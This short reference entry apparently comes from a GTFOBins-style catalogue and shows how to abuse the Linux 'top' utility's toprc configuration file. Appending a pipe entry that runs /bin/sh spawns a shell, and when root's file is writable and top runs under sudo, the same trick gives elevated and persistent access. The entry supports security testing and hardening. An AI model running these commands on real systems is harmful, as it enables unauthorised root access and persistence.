This requires that an existing configuration file is present, to create one run `top` then type `Wq`. Note down the actual configuration file path and use it in the below examples. |
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echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
reset
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This requires that the root configuration file is writable and might be used to persist elevated privileges. |
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc
sudo top
# press return twice
reset
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